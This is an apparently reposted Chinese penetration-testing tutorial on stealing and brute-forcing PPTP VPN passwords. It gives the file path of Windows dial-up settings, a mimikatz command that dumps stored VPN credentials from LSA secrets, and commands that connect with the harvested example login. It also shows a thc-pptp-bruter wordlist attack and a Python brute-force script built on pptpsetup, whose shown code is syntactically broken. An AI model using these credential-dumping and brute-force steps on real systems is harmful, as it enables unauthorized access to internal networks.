渗透策略的方法(渗透技巧PPTP口令的获取与爆破)

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(1)

0x00 前言

PPTP(即点对点隧道协议)可以使远程用户通过拨入ISP访问企业内网。

在渗透测试中,如果获得了用户的PPTP口令,就能远程拨入内网,做进一步渗透。

本文将要介绍命令行下导出PPTP配置信息和口令的方法,开源PPTP口令爆破的脚本。

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(2)

0x01 简介

本文将要介绍以下内容:

· Windows系统命令行下PPTP配置信息和口令的获取

· Windows系统命令行开启和关闭VPN连接

· Windows系统连接PPTP的方法和细节

· Kali系统连接PPTP的方法和细节

· PPTP口令爆破的脚本细节

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(3)

0x02 Windows系统命令行下PPTP配置信息和口令的获取

1、获取PPTP配置信息

Windows系统拨号和宽带连接的配置信息存储在固定位置,路径如下:

%APPDATA%\Microsoft\Network\Connections\Pbk\rasphone.pbk

查看该文件即可获得PPTP连接的配置信息,包括服务器IP,不包含连接用户名和口令

VPN连接的名称为VPN Connection,如下图:

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(4)

PhoneNumber表示连接的服务器IP,如下图:

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(5)

2、获得内网IP

ipconfig

获得内网IP,如下图

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(6)

3、获得PPTP口令

使用工具mimiaktz,命令如下:

mimikatz.exe privilege::debug token::elevate lsadump::secrets exit

获得连接用户名和口令,如下图:

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(7)

4、命令行下连接VPN

rasdial "VPN Connection" zhaodg oZ7iFk25

如下图:

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(8)

5、命令行关闭VPN连接

rasphone -h "VPN Connection"

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(9)

0x03 Windows系统PPTP连接的方法和细节

1.如下图所示:

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(10)

2.如下图所示:

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(11)

3.如下图所示:

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(12)

4.选择创建新连接

5.填入服务器IP,选中稍后连接

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(13)

6.填入用户名口令

7.点击连接后,选择跳过

接下来修改VPN属性,Security->Type of VPN,选择Point to Point Tunneling Protocol(PPTP)

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(14)

注:创建成功后,指定Point to Point Tunneling Protocol(PPTP)可缩短连接等待的时间

8.连接

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(15)

0x04 Kali系统PPTP连接的方法和细节

方法1:通过界面

1.安装

apt-get install network-manager-pptp network-manager-pptp-gnome

2.Settings->Network->VPN

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(16)

3.Identity->Advanced...

去掉PAP,CHAP,EAP

选择Use Point-to-Point encryption(MPPE)

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(17)

注:如果无法连接,修改文件/etc/NetworkManager/NetworkManager.conf

managed=false修改成managed=true

重启系统

方法2:通过pptpsetup

1.连接

pptpsetup --create vpn --server 5x.xxx.xxx.xx2 --username zhaodg --password oZ7iFk25 --encrypt --start

远程IP为192.168.0.1,如下图

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(18)

2.修改路由表

将默认路由表修改为远程IP

route del defaultroute add default gw 192.168.0.1

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(19)

0x05 PPTP口令爆破

PPTP服务器默认开放1723端口

1、PPTP brute forcer

源代码:

https://github.com/BlackArch/thc-pptp-bruter

kali默认支持

通过字典爆破的命令如下:

cat wordlist | thc-pptp-bruter -u zhaodg <IP>

如下图

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(20)

注:PPTP搭建于centos

2、编写python脚本实现

有些设备的PPTP无法使用PPTP brute forcer进行爆破

于是尝试使用python调用pptpsetup实现

通过os.popen执行命令,测试代码如下:

import os

def test_vpn(ip,name,password):

command = 'pptpsetup --create testvpn --server ' ip ' --username ' name ' --password ' password ' --encrypt --start'

print command

vpn_status = os.popen(command).read()

print vpn_status

if __name__ == '__main__':

test_vpn('5x.xxx.xxx.xx2','zhaodg','oZ7iFk25')

测试过程中出现bug:

如果登录成功,进程pptp不会退出,导致脚本阻塞,无法获得回显。

只有结束进程pptp后,才能获得回显。

所以这里需要使用子进程的方式实现:子进程执行pptpsetup命令,父进程不等待。

随之产生新的问题:如何获得子进程的结果,判断是否登录成功。

这里选择一个简单直接的方法:等待10秒,然后执行ifconfig,如果登录成功,会产生新的网卡设备ppp0,否则,当前用户名口令错误。

登录成功后,选择清理进程,执行命令:

pkill pptp

清除连接信息:

pptpsetup --delete testvpn

完整代码可参考:

https://github.com/3gstudent/Homework-of-Python/blob/master/pptp_password_hack.py

代码会读取文件wordlist,获得口令字典,对指定IP尝试连接,连接成功后记录口令,清除进程和连接

测试如下图:

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(21)

渗透策略的方法(渗透技巧PPTP口令的获取与爆破)(22)

0x06 小结

本文介绍了命令行下导出PPTP配置信息和口令的方法,通过命令行能够实现开启和关闭VPN连接。

实例演示了Windows和Kali系统连接PPTP的方法,最后开源了调用pptpsetup实现PPTP口令爆破的脚本,分析脚本实现细节。

,

免责声明:本文仅代表文章作者的个人观点,与本站无关。其原创性、真实性以及文中陈述文字和内容未经本站证实,对本文以及其中全部或者部分内容文字的真实性、完整性和原创性本站不作任何保证或承诺,请读者仅作参考,并自行核实相关内容。文章投诉邮箱:anhduc.ph@yahoo.com

    分享
    投诉
    首页